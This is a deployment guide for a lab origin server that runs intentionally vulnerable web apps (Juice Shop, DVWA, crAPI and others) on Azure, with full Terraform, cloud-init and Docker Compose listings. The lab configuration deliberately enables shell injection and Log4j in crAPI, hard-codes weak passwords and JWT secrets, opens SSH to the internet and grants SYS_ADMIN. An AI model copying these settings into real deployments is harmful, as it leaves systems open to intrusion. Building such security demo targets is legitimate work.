- Home
- Origin Server
- Deploy
Deploy
This repository contains two separate supported offerings:
- Azure full-origin: nine applications, nginx, and 41 containers on an Azure VM from
terraform/. - AWS Juice Shop: Juice Shop only, on private Fargate tasks behind an ALB, from
terraform/modules/aws-juice-shop/.
The procedures are independent. Do not use Azure outputs or runtime expectations to operate the AWS module, and do not assume feature parity.
Deploy the Azure full-origin
Section titled “Deploy the Azure full-origin”Clone the repository and use the root Terraform configuration:
git clone https://github.com/f5-sales-demo/origin-server.gitcd origin-server/terraformcp terraform.tfvars.example terraform.tfvars# Edit terraform.tfvars with your Azure subscription ID and SSH key pathAzure Terraform configuration
Section titled “Azure Terraform configuration”The Terraform directory contains 9 files following the Demo Resource Standard:
versions.tf— Terraform and provider version constraints (azurerm ~> 4.0, azuread ~> 3.0)providers.tf— Azure RM and Azure AD provider configurationdata.tf— Azure AD data sources for deployer auto-resolutionlocals.tf— Deployer resolution, Azure Cloud Adoption Framework resource naming, standard tagsmain.tf— Resource group (namedrg-origin-server-{environment}-{deployer})variables.tf— All input variables (1 required, 8 optional)network.tf— VNet (10.200.0.0/16), subnet, public IP, NSG (ports 22/80/443/8888), NICvm.tf— Ubuntu 24.04 VM with cloud-init via templatefile()outputs.tf— 25 outputs (15 standard + 10 component-specific application URLs)
main.tf contains only the resource group:
resource "azurerm_resource_group" "main" { name = local.name.resource_group location = var.location tags = local.tags}variables.tf defines all configurable parameters. The deployer identifier is auto-resolved from
your Azure AD account — you only need to set subscription_id. The vm_size default is
Standard_D16s_v3 (16 vCPU, 64 GiB RAM) sized for 41 Docker containers:
# ---------------------------------------------------------# General# ---------------------------------------------------------
variable "subscription_id" { description = "Azure subscription ID" type = string}
variable "deployer" { description = "Override for deployer identifier (auto-resolved from Azure AD if empty). Required for service principal or managed identity authentication." type = string default = ""}
variable "location" { description = "Azure region for all resources" type = string default = "eastus2"}
variable "environment" { description = "Environment label used in resource group naming and tags" type = string default = "lab"}
variable "tags" { description = "Additional tags merged with standard tags (component, environment, deployer, managed_by)" type = map(string) default = {}}
# ---------------------------------------------------------# Compute# ---------------------------------------------------------
variable "vm_size" { description = "Azure VM size (Standard_D16s_v3: 16 vCPU, 64 GiB RAM for Docker workloads)" type = string default = "Standard_D16s_v3"}
variable "admin_username" { description = "SSH admin username for the VM" type = string default = "azureuser"}
variable "ssh_public_key_path" { description = "Path to the SSH public key file" type = string default = "~/.ssh/id_ed25519.pub"}
variable "disk_size_gb" { description = "OS disk size in GB" type = number default = 60}Azure network infrastructure
Section titled “Azure network infrastructure”network.tf creates the VNet, subnet, public IP, NSG (ports 22/80/443/8888), and NIC. Port 8888 is
required for crAPI which runs on a dedicated port:
resource "azurerm_virtual_network" "main" { name = local.name.virtual_network address_space = ["10.200.0.0/16"] location = azurerm_resource_group.main.location resource_group_name = azurerm_resource_group.main.name
tags = azurerm_resource_group.main.tags}
resource "azurerm_subnet" "main" { #checkov:skip=CKV2_AZURE_31:Lab subnet - NSG associated at NIC level name = local.name.subnet resource_group_name = azurerm_resource_group.main.name virtual_network_name = azurerm_virtual_network.main.name address_prefixes = ["10.200.1.0/24"]}
resource "azurerm_public_ip" "main" { name = local.name.public_ip location = azurerm_resource_group.main.location resource_group_name = azurerm_resource_group.main.name allocation_method = "Static" sku = "Standard"
tags = azurerm_resource_group.main.tags}
resource "azurerm_network_security_group" "main" { #checkov:skip=CKV_AZURE_10:Lab NSG - SSH open for demo access #checkov:skip=CKV_AZURE_160:Lab NSG - HTTP port 80 required for traffic #checkov:skip=CKV_AZURE_220:Lab NSG - SSH open for demo access name = local.name.nsg location = azurerm_resource_group.main.location resource_group_name = azurerm_resource_group.main.name
security_rule { name = "AllowHTTP" priority = 100 direction = "Inbound" access = "Allow" protocol = "Tcp" source_port_range = "*" destination_port_range = "80" source_address_prefix = "*" destination_address_prefix = "*" }
security_rule { name = "AllowHTTPS" priority = 110 direction = "Inbound" access = "Allow" protocol = "Tcp" source_port_range = "*" destination_port_range = "443" source_address_prefix = "*" destination_address_prefix = "*" }
security_rule { name = "AllowSSH" priority = 120 direction = "Inbound" access = "Allow" protocol = "Tcp" source_port_range = "*" destination_port_range = "22" source_address_prefix = "*" destination_address_prefix = "*" }
security_rule { name = "AllowCrAPI" priority = 130 direction = "Inbound" access = "Allow" protocol = "Tcp" source_port_range = "*" destination_port_range = "8888" source_address_prefix = "*" destination_address_prefix = "*" }
tags = azurerm_resource_group.main.tags}
resource "azurerm_network_interface" "main" { #checkov:skip=CKV_AZURE_119:Lab NIC - public IP required for demo access name = local.name.network_interface location = azurerm_resource_group.main.location resource_group_name = azurerm_resource_group.main.name
ip_configuration { name = "internal" subnet_id = azurerm_subnet.main.id private_ip_address_allocation = "Dynamic" public_ip_address_id = azurerm_public_ip.main.id }
tags = azurerm_resource_group.main.tags}
resource "azurerm_network_interface_security_group_association" "main" { network_interface_id = azurerm_network_interface.main.id network_security_group_id = azurerm_network_security_group.main.id}Azure virtual machine and provisioning
Section titled “Azure virtual machine and provisioning”vm.tf creates the Ubuntu 24.04 VM and passes the cloud-init provisioning script. The 60 GiB
Premium SSD provides sufficient space for Docker images and container volumes:
resource "azurerm_linux_virtual_machine" "main" { #checkov:skip=CKV_AZURE_50:Lab VM - no extensions required #checkov:skip=CKV_AZURE_93:Lab VM - platform-managed encryption sufficient name = local.name.virtual_machine resource_group_name = azurerm_resource_group.main.name location = azurerm_resource_group.main.location size = var.vm_size
admin_username = var.admin_username disable_password_authentication = true
admin_ssh_key { username = var.admin_username public_key = file(pathexpand(var.ssh_public_key_path)) }
network_interface_ids = [azurerm_network_interface.main.id]
os_disk { caching = "ReadWrite" storage_account_type = "Premium_LRS" disk_size_gb = var.disk_size_gb }
source_image_reference { publisher = "Canonical" offer = "ubuntu-24_04-lts" sku = "server" version = "latest" }
custom_data = base64encode(templatefile("${path.module}/cloud-init.yaml", {}))
tags = azurerm_resource_group.main.tags}cloud-init.yaml provisions the VM with a hardened configuration. A shared helper library
(/usr/local/lib/cloud-init-helpers.sh) provides retry logic on all network operations and progress
logging to /var/log/cloud-init-progress.log. Active health-check polling replaces fixed-duration
sleep for container readiness. It provisions:
- Kernel tuning: TCP keepalive, TIME_WAIT reuse, 2M tw_buckets, 64K somaxconn
- nginx: 8 upstream blocks with sticky sessions (ip_hash, cookie hash), keepalive pools (64—128), proxy cache for Juice Shop, error_log crit level
- Docker Compose: 41 containers across 9 applications with per-container CPU/memory limits
- Custom builds: DVWA-FPM (php-fpm with pm.max_requests=200), CSD Demo (Flask + gunicorn), RESTaurant (cloned from GitHub)
- Worker recycling: uvicorn —limit-max-requests 200 (RESTaurant), pm.max_requests 200 (DVWA-FPM) to prevent memory leaks under sustained load
#cloud-configpackage_update: truepackage_upgrade: true
bootcmd: - mkdir -p /var/cache/nginx/juice_shop - chown www-data:www-data /var/cache/nginx/juice_shop 2>/dev/null || true
packages: - ca-certificates - curl - gnupg - nginx - sysstat - htop - iotop - dool - iftop
write_files: - path: /etc/sysctl.d/99-origin-server.conf content: | # Origin server performance tuning for concurrent web traffic net.core.somaxconn = 65535 net.ipv4.tcp_max_syn_backlog = 65535 net.core.netdev_max_backlog = 65535 net.ipv4.ip_local_port_range = 1024 65535 net.ipv4.tcp_tw_reuse = 1 net.ipv4.tcp_fin_timeout = 10 net.ipv4.tcp_keepalive_time = 60 net.ipv4.tcp_keepalive_intvl = 10 net.ipv4.tcp_keepalive_probes = 6 net.ipv4.tcp_max_tw_buckets = 2000000 net.ipv4.tcp_syncookies = 1 net.core.rmem_max = 16777216 net.core.wmem_max = 16777216 net.ipv4.tcp_rmem = 4096 87380 16777216 net.ipv4.tcp_wmem = 4096 65536 16777216
- path: /etc/nginx/nginx.conf content: | user www-data; worker_processes auto; worker_rlimit_nofile 65535; pid /run/nginx.pid; error_log /var/log/nginx/error.log crit; include /etc/nginx/modules-enabled/*.conf;
events { worker_connections 16384; multi_accept on; use epoll; }
http { sendfile on; tcp_nopush on; tcp_nodelay on; types_hash_max_size 2048; server_tokens off;
include /etc/nginx/mime.types; default_type application/octet-stream;
keepalive_timeout 65; keepalive_requests 1000; client_body_timeout 10; client_header_timeout 10; send_timeout 10; reset_timedout_connection on;
proxy_buffer_size 32k; proxy_buffers 16 32k; proxy_busy_buffers_size 64k; proxy_connect_timeout 5; proxy_read_timeout 30; proxy_send_timeout 10;
access_log off;
gzip on; gzip_vary on; gzip_proxied any; gzip_comp_level 4; gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
proxy_cache_path /var/cache/nginx/juice_shop levels=1:2 keys_zone=juice_cache:10m max_size=100m inactive=5m use_temp_path=off; upstream juice_shop { server 127.0.0.1:3001 max_fails=3 fail_timeout=10s; server 127.0.0.1:3002 max_fails=3 fail_timeout=10s; server 127.0.0.1:3003 max_fails=3 fail_timeout=10s; server 127.0.0.1:3004 max_fails=3 fail_timeout=10s; hash $cookie_token consistent; keepalive 64; }
upstream dvwa { server 127.0.0.1:8101 max_fails=3 fail_timeout=10s; server 127.0.0.1:8102 max_fails=3 fail_timeout=10s; server 127.0.0.1:8103 max_fails=3 fail_timeout=10s; server 127.0.0.1:8104 max_fails=3 fail_timeout=10s; hash $cookie_PHPSESSID consistent; keepalive 128; }
upstream vampi { server 127.0.0.1:5101 max_fails=3 fail_timeout=10s; server 127.0.0.1:5102 max_fails=3 fail_timeout=10s; server 127.0.0.1:5103 max_fails=3 fail_timeout=10s; server 127.0.0.1:5104 max_fails=3 fail_timeout=10s; ip_hash; keepalive 128; }
upstream httpbin_up { server 127.0.0.1:8201 max_fails=3 fail_timeout=10s; server 127.0.0.1:8202 max_fails=3 fail_timeout=10s; server 127.0.0.1:8203 max_fails=3 fail_timeout=10s; server 127.0.0.1:8204 max_fails=3 fail_timeout=10s; keepalive 128; }
upstream whoami_up { server 127.0.0.1:8082 max_fails=3 fail_timeout=10s; server 127.0.0.1:8083 max_fails=3 fail_timeout=10s; server 127.0.0.1:8084 max_fails=3 fail_timeout=10s; server 127.0.0.1:8085 max_fails=3 fail_timeout=10s; keepalive 128; } upstream csd_demo { server 127.0.0.1:5001 max_fails=3 fail_timeout=10s; server 127.0.0.1:5002 max_fails=3 fail_timeout=10s; server 127.0.0.1:5003 max_fails=3 fail_timeout=10s; server 127.0.0.1:5004 max_fails=3 fail_timeout=10s; ip_hash; keepalive 128; }
upstream dvga_graphql { server 127.0.0.1:5201 max_fails=3 fail_timeout=10s; server 127.0.0.1:5202 max_fails=3 fail_timeout=10s; server 127.0.0.1:5203 max_fails=3 fail_timeout=10s; server 127.0.0.1:5204 max_fails=3 fail_timeout=10s; ip_hash; keepalive 128; }
upstream restaurant { server 127.0.0.1:8301 max_fails=3 fail_timeout=10s; server 127.0.0.1:8302 max_fails=3 fail_timeout=10s; server 127.0.0.1:8303 max_fails=3 fail_timeout=10s; server 127.0.0.1:8304 max_fails=3 fail_timeout=10s; keepalive 128; }
include /etc/nginx/conf.d/*.conf; include /etc/nginx/sites-enabled/*; }
- path: /etc/systemd/system/nginx.service.d/limits.conf content: | [Service] LimitNOFILE=65535 LimitNOFILESoft=65535
- path: /etc/logrotate.d/nginx-origin content: | /var/log/nginx/*.log { daily rotate 7 size 500M compress delaycompress missingok notifempty sharedscripts postrotate nginx -s reopen endscript }
- path: /etc/systemd/journald.conf.d/origin-server.conf content: | [Journal] SystemMaxUse=200M RuntimeMaxUse=50M
- path: /opt/origin-server/docker-compose.yml content: | services: juice-shop-1: image: bkimminich/juice-shop:latest container_name: juice-shop-1 restart: unless-stopped ports: - "127.0.0.1:3001:3000" environment: - NODE_ENV=ctf deploy: resources: limits: cpus: "1.0" memory: 1024M
juice-shop-2: image: bkimminich/juice-shop:latest container_name: juice-shop-2 restart: unless-stopped ports: - "127.0.0.1:3002:3000" environment: - NODE_ENV=ctf deploy: resources: limits: cpus: "1.0" memory: 1024M
juice-shop-3: image: bkimminich/juice-shop:latest container_name: juice-shop-3 restart: unless-stopped ports: - "127.0.0.1:3003:3000" environment: - NODE_ENV=ctf deploy: resources: limits: cpus: "1.0" memory: 1024M
juice-shop-4: image: bkimminich/juice-shop:latest container_name: juice-shop-4 restart: unless-stopped ports: - "127.0.0.1:3004:3000" environment: - NODE_ENV=ctf deploy: resources: limits: cpus: "1.0" memory: 1024M
dvwa-1: build: ./dvwa-fpm/ container_name: dvwa-1 restart: unless-stopped depends_on: - dvwa-db ports: - "127.0.0.1:8101:80" environment: - DB_SERVER=dvwa-db - DB_DATABASE=dvwa - DB_USER=dvwa - DB_PASSWORD=p@ssw0rd deploy: resources: limits: cpus: "0.5" memory: 512M
dvwa-2: build: ./dvwa-fpm/ container_name: dvwa-2 restart: unless-stopped depends_on: - dvwa-db ports: - "127.0.0.1:8102:80" environment: - DB_SERVER=dvwa-db - DB_DATABASE=dvwa - DB_USER=dvwa - DB_PASSWORD=p@ssw0rd deploy: resources: limits: cpus: "0.5" memory: 512M
dvwa-3: build: ./dvwa-fpm/ container_name: dvwa-3 restart: unless-stopped depends_on: - dvwa-db ports: - "127.0.0.1:8103:80" environment: - DB_SERVER=dvwa-db - DB_DATABASE=dvwa - DB_USER=dvwa - DB_PASSWORD=p@ssw0rd deploy: resources: limits: cpus: "0.5" memory: 512M
dvwa-4: build: ./dvwa-fpm/ container_name: dvwa-4 restart: unless-stopped depends_on: - dvwa-db ports: - "127.0.0.1:8104:80" environment: - DB_SERVER=dvwa-db - DB_DATABASE=dvwa - DB_USER=dvwa - DB_PASSWORD=p@ssw0rd deploy: resources: limits: cpus: "0.5" memory: 512M
dvwa-db: image: mariadb:10.11 container_name: dvwa-db restart: unless-stopped environment: - MYSQL_ROOT_PASSWORD=root_password - MYSQL_DATABASE=dvwa - MYSQL_USER=dvwa - MYSQL_PASSWORD=p@ssw0rd - MARIADB_INNODB_BUFFER_POOL_SIZE=256M - MARIADB_MAX_CONNECTIONS=400 - MARIADB_INNODB_LOG_FILE_SIZE=100M volumes: - dvwa-db-data:/var/lib/mysql deploy: resources: limits: cpus: "1.0" memory: 768M
vampi-1: image: erev0s/vampi:latest container_name: vampi-1 restart: unless-stopped ports: - "127.0.0.1:5101:5000" entrypoint: ["/bin/sh", "/vampi/entrypoint.sh"] volumes: - ./vampi-gunicorn.sh:/vampi/entrypoint.sh:ro deploy: resources: limits: cpus: "0.5" memory: 512M
vampi-2: image: erev0s/vampi:latest container_name: vampi-2 restart: unless-stopped ports: - "127.0.0.1:5102:5000" entrypoint: ["/bin/sh", "/vampi/entrypoint.sh"] volumes: - ./vampi-gunicorn.sh:/vampi/entrypoint.sh:ro deploy: resources: limits: cpus: "0.5" memory: 512M
vampi-3: image: erev0s/vampi:latest container_name: vampi-3 restart: unless-stopped ports: - "127.0.0.1:5103:5000" entrypoint: ["/bin/sh", "/vampi/entrypoint.sh"] volumes: - ./vampi-gunicorn.sh:/vampi/entrypoint.sh:ro deploy: resources: limits: cpus: "0.5" memory: 512M
vampi-4: image: erev0s/vampi:latest container_name: vampi-4 restart: unless-stopped ports: - "127.0.0.1:5104:5000" entrypoint: ["/bin/sh", "/vampi/entrypoint.sh"] volumes: - ./vampi-gunicorn.sh:/vampi/entrypoint.sh:ro deploy: resources: limits: cpus: "0.5" memory: 512M
httpbin-1: image: kennethreitz/httpbin:latest container_name: httpbin-1 restart: unless-stopped ports: - "127.0.0.1:8201:80" command: ["gunicorn", "-b", "0.0.0.0:80", "httpbin:app", "-k", "gevent", "-w", "4", "--timeout", "30"] deploy: resources: limits: cpus: "1.0" memory: 256M
httpbin-2: image: kennethreitz/httpbin:latest container_name: httpbin-2 restart: unless-stopped ports: - "127.0.0.1:8202:80" command: ["gunicorn", "-b", "0.0.0.0:80", "httpbin:app", "-k", "gevent", "-w", "4", "--timeout", "30"] deploy: resources: limits: cpus: "1.0" memory: 256M
httpbin-3: image: kennethreitz/httpbin:latest container_name: httpbin-3 restart: unless-stopped ports: - "127.0.0.1:8203:80" command: ["gunicorn", "-b", "0.0.0.0:80", "httpbin:app", "-k", "gevent", "-w", "4", "--timeout", "30"] deploy: resources: limits: cpus: "1.0" memory: 256M
httpbin-4: image: kennethreitz/httpbin:latest container_name: httpbin-4 restart: unless-stopped ports: - "127.0.0.1:8204:80" command: ["gunicorn", "-b", "0.0.0.0:80", "httpbin:app", "-k", "gevent", "-w", "4", "--timeout", "30"] deploy: resources: limits: cpus: "1.0" memory: 256M
whoami-1: image: traefik/whoami:latest container_name: whoami-1 restart: unless-stopped ports: - "127.0.0.1:8082:80" deploy: resources: limits: cpus: "0.25" memory: 64M
whoami-2: image: traefik/whoami:latest container_name: whoami-2 restart: unless-stopped ports: - "127.0.0.1:8083:80" deploy: resources: limits: cpus: "0.25" memory: 64M
whoami-3: image: traefik/whoami:latest container_name: whoami-3 restart: unless-stopped ports: - "127.0.0.1:8084:80" deploy: resources: limits: cpus: "0.25" memory: 64M
whoami-4: image: traefik/whoami:latest container_name: whoami-4 restart: unless-stopped ports: - "127.0.0.1:8085:80" deploy: resources: limits: cpus: "0.25" memory: 64M
csd-demo-1: build: ./csd-demo/ container_name: csd-demo-1 restart: unless-stopped ports: - "127.0.0.1:5001:5001" deploy: resources: limits: cpus: "0.5" memory: 256M
csd-demo-2: build: ./csd-demo/ container_name: csd-demo-2 restart: unless-stopped ports: - "127.0.0.1:5002:5001" deploy: resources: limits: cpus: "0.5" memory: 256M
csd-demo-3: build: ./csd-demo/ container_name: csd-demo-3 restart: unless-stopped ports: - "127.0.0.1:5003:5001" deploy: resources: limits: cpus: "0.5" memory: 256M
csd-demo-4: build: ./csd-demo/ container_name: csd-demo-4 restart: unless-stopped ports: - "127.0.0.1:5004:5001" deploy: resources: limits: cpus: "0.5" memory: 256M
dvga-1: image: dolevf/dvga:latest container_name: dvga-1 restart: unless-stopped ports: - "127.0.0.1:5201:5013" environment: - WEB_HOST=0.0.0.0 deploy: resources: limits: cpus: "0.5" memory: 384M
dvga-2: image: dolevf/dvga:latest container_name: dvga-2 restart: unless-stopped ports: - "127.0.0.1:5202:5013" environment: - WEB_HOST=0.0.0.0 deploy: resources: limits: cpus: "0.5" memory: 384M
dvga-3: image: dolevf/dvga:latest container_name: dvga-3 restart: unless-stopped ports: - "127.0.0.1:5203:5013" environment: - WEB_HOST=0.0.0.0 deploy: resources: limits: cpus: "0.5" memory: 384M
dvga-4: image: dolevf/dvga:latest container_name: dvga-4 restart: unless-stopped ports: - "127.0.0.1:5204:5013" environment: - WEB_HOST=0.0.0.0 deploy: resources: limits: cpus: "0.5" memory: 384M
restaurant-db: image: postgres:15.4-alpine container_name: restaurant-db restart: unless-stopped environment: - POSTGRES_USER=admin - POSTGRES_PASSWORD=password - POSTGRES_DB=restaurant - PGDATA=/var/lib/postgresql/data/pgdata volumes: - restaurant-db-data:/var/lib/postgresql/data healthcheck: test: ["CMD-SHELL", "pg_isready -U admin -d restaurant"] interval: 5s timeout: 5s retries: 10 deploy: resources: limits: cpus: "0.5" memory: 512M
restaurant-1: build: ./restaurant/ container_name: restaurant-1 restart: unless-stopped ports: - "127.0.0.1:8301:8091" command: ["sh", "-c", "alembic upgrade head && uvicorn main:app --host 0.0.0.0 --port 8091 --root-path /restaurant --limit-max-requests 200"] environment: - POSTGRES_USER=admin - POSTGRES_PASSWORD=password - POSTGRES_SERVER=restaurant-db - POSTGRES_PORT=5432 - POSTGRES_DB=restaurant depends_on: restaurant-db: condition: service_healthy cap_add: - SYS_ADMIN deploy: resources: limits: cpus: "0.5" memory: 384M
restaurant-2: build: ./restaurant/ container_name: restaurant-2 restart: unless-stopped ports: - "127.0.0.1:8302:8091" command: ["sh", "-c", "alembic upgrade head && uvicorn main:app --host 0.0.0.0 --port 8091 --root-path /restaurant --limit-max-requests 200"] environment: - POSTGRES_USER=admin - POSTGRES_PASSWORD=password - POSTGRES_SERVER=restaurant-db - POSTGRES_PORT=5432 - POSTGRES_DB=restaurant depends_on: restaurant-db: condition: service_healthy cap_add: - SYS_ADMIN deploy: resources: limits: cpus: "0.5" memory: 384M
restaurant-3: build: ./restaurant/ container_name: restaurant-3 restart: unless-stopped ports: - "127.0.0.1:8303:8091" command: ["sh", "-c", "alembic upgrade head && uvicorn main:app --host 0.0.0.0 --port 8091 --root-path /restaurant --limit-max-requests 200"] environment: - POSTGRES_USER=admin - POSTGRES_PASSWORD=password - POSTGRES_SERVER=restaurant-db - POSTGRES_PORT=5432 - POSTGRES_DB=restaurant depends_on: restaurant-db: condition: service_healthy cap_add: - SYS_ADMIN deploy: resources: limits: cpus: "0.5" memory: 384M
restaurant-4: build: ./restaurant/ container_name: restaurant-4 restart: unless-stopped ports: - "127.0.0.1:8304:8091" command: ["sh", "-c", "alembic upgrade head && uvicorn main:app --host 0.0.0.0 --port 8091 --root-path /restaurant --limit-max-requests 200"] environment: - POSTGRES_USER=admin - POSTGRES_PASSWORD=password - POSTGRES_SERVER=restaurant-db - POSTGRES_PORT=5432 - POSTGRES_DB=restaurant depends_on: restaurant-db: condition: service_healthy cap_add: - SYS_ADMIN deploy: resources: limits: cpus: "0.5" memory: 384M
crapi-web: image: crapi/crapi-web:latest container_name: crapi-web restart: unless-stopped ports: - "127.0.0.1:18888:80" environment: - COMMUNITY_SERVICE=crapi-community:8087 - IDENTITY_SERVICE=crapi-identity:8080 - WORKSHOP_SERVICE=crapi-workshop:8000 - CHATBOT_SERVICE=crapi-identity:8080 - MAILHOG_WEB_SERVICE=crapi-mailhog:8025 - TLS_ENABLED=false depends_on: crapi-identity: condition: service_healthy crapi-community: condition: service_healthy crapi-workshop: condition: service_healthy healthcheck: test: ["CMD", "curl", "-f", "http://0.0.0.0:80/health"] interval: 15s timeout: 15s retries: 15 deploy: resources: limits: cpus: "0.3" memory: 128M
crapi-identity: image: crapi/crapi-identity:latest container_name: crapi-identity restart: unless-stopped environment: - LOG_LEVEL=INFO - DB_NAME=crapi - DB_USER=admin - DB_PASSWORD=crapisecretpassword - DB_HOST=crapi-postgres - DB_PORT=5432 - SERVER_PORT=8080 - ENABLE_SHELL_INJECTION=true - JWT_SECRET=crapi - JWT_EXPIRATION=604800000 - MAILHOG_HOST=crapi-mailhog - MAILHOG_PORT=1025 - MAILHOG_DOMAIN=example.com - SMTP_HOST=crapi-mailhog - SMTP_PORT=1025 - SMTP_EMAIL=user@example.com - SMTP_PASS=xxxxxxxxxxxxxx - SMTP_FROM=no-reply@example.com - SMTP_AUTH=false - SMTP_STARTTLS=false - ENABLE_LOG4J=true - API_GATEWAY_URL=https://api.mypremiumdealership.com - MONGO_DB_HOST=crapi-mongo - MONGO_DB_PORT=27017 - MONGO_DB_USER=admin - MONGO_DB_PASSWORD=crapisecretpassword - MONGO_DB_NAME=crapi - TLS_ENABLED=false depends_on: crapi-postgres: condition: service_healthy crapi-mongo: condition: service_healthy crapi-mailhog: condition: service_healthy healthcheck: test: ["CMD", "/app/health.sh"] interval: 15s timeout: 15s retries: 15 deploy: resources: limits: cpus: "0.8" memory: 1024M
crapi-community: image: crapi/crapi-community:latest container_name: crapi-community restart: unless-stopped environment: - LOG_LEVEL=INFO - IDENTITY_SERVICE=crapi-identity:8080 - DB_NAME=crapi - DB_USER=admin - DB_PASSWORD=crapisecretpassword - DB_HOST=crapi-postgres - DB_PORT=5432 - SERVER_PORT=8087 - MONGO_DB_HOST=crapi-mongo - MONGO_DB_PORT=27017 - MONGO_DB_USER=admin - MONGO_DB_PASSWORD=crapisecretpassword - MONGO_DB_NAME=crapi - TLS_ENABLED=false depends_on: crapi-mongo: condition: service_healthy crapi-identity: condition: service_healthy healthcheck: test: ["CMD", "/app/health.sh"] interval: 15s timeout: 15s retries: 15 deploy: resources: limits: cpus: "0.3" memory: 192M
crapi-workshop: image: crapi/crapi-workshop:latest container_name: crapi-workshop restart: unless-stopped environment: - LOG_LEVEL=INFO - IDENTITY_SERVICE=crapi-identity:8080 - DB_NAME=crapi - DB_USER=admin - DB_PASSWORD=crapisecretpassword - DB_HOST=crapi-postgres - DB_PORT=5432 - SERVER_PORT=8000 - MONGO_DB_HOST=crapi-mongo - MONGO_DB_PORT=27017 - MONGO_DB_USER=admin - MONGO_DB_PASSWORD=crapisecretpassword - MONGO_DB_NAME=crapi - SECRET_KEY=crapi - API_GATEWAY_URL=https://api.mypremiumdealership.com - TLS_ENABLED=false - FILES_LIMIT=1000 - GUNICORN_WORKERS=4 depends_on: crapi-postgres: condition: service_healthy crapi-mongo: condition: service_healthy crapi-identity: condition: service_healthy crapi-community: condition: service_healthy healthcheck: test: ["CMD", "/app/health.sh"] interval: 15s timeout: 15s retries: 15 deploy: resources: limits: cpus: "1.0" memory: 512M
crapi-postgres: image: postgres:14 container_name: crapi-postgres restart: unless-stopped environment: - POSTGRES_USER=admin - POSTGRES_PASSWORD=crapisecretpassword - POSTGRES_DB=crapi volumes: - crapi-postgres-data:/var/lib/postgresql/data healthcheck: test: ["CMD-SHELL", "pg_isready"] interval: 15s timeout: 15s retries: 10 deploy: resources: limits: cpus: "0.5" memory: 256M
crapi-mongo: image: mongo:4.4 container_name: crapi-mongo restart: unless-stopped environment: - MONGO_INITDB_ROOT_USERNAME=admin - MONGO_INITDB_ROOT_PASSWORD=crapisecretpassword volumes: - crapi-mongo-data:/data/db healthcheck: test: ["CMD", "mongo", "--eval", "db.runCommand(\"ping\").ok", "--quiet"] interval: 15s timeout: 15s retries: 10 start_period: 20s deploy: resources: limits: cpus: "0.3" memory: 256M
crapi-mailhog: image: crapi/mailhog:latest container_name: crapi-mailhog restart: unless-stopped ports: - "127.0.0.1:18025:8025" environment: - MH_MONGO_URI=admin:crapisecretpassword@crapi-mongo:27017 - MH_STORAGE=mongodb depends_on: crapi-mongo: condition: service_healthy healthcheck: test: ["CMD", "nc", "-z", "localhost", "8025"] interval: 15s timeout: 15s retries: 10 deploy: resources: limits: cpus: "0.3" memory: 128M
volumes: dvwa-db-data: restaurant-db-data: crapi-postgres-data: crapi-mongo-data:
- path: /etc/nginx/sites-available/origin-server content: | server { listen 80 reuseport backlog=4096; server_name _;
location /health { access_log off; return 200 '{ "status":"healthy","component":"origin-server","applications":["juice-shop","dvwa","vampi","httpbin","whoami","csd-demo","dvga","restaurant","crapi"] }' ; add_header Content-Type application/json; }
location / { root /var/www/html; index index.html; }
location /juice-shop/ { proxy_pass http://juice_shop/; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header X-Forwarded-Prefix /juice-shop; proxy_cache juice_cache; proxy_cache_valid 200 60s; proxy_cache_key "$request_uri"; add_header X-Cache-Status $upstream_cache_status; }
location /dvwa/ { proxy_pass http://dvwa/; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; }
location /vampi/ { proxy_pass http://vampi/; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; }
location /httpbin/ { proxy_pass http://httpbin_up/; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; }
location /whoami/ { proxy_pass http://whoami_up/; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; }
location /csd-demo/ { proxy_pass http://csd_demo/; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; }
location /dvga/ { proxy_pass http://dvga_graphql/; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; }
location /restaurant/ { proxy_pass http://restaurant/; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } }
server { listen 8888; server_name _;
location /health { access_log off; return 200 '{"status":"healthy","component":"crapi"}'; add_header Content-Type application/json; }
location / { proxy_pass http://127.0.0.1:18888; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } }
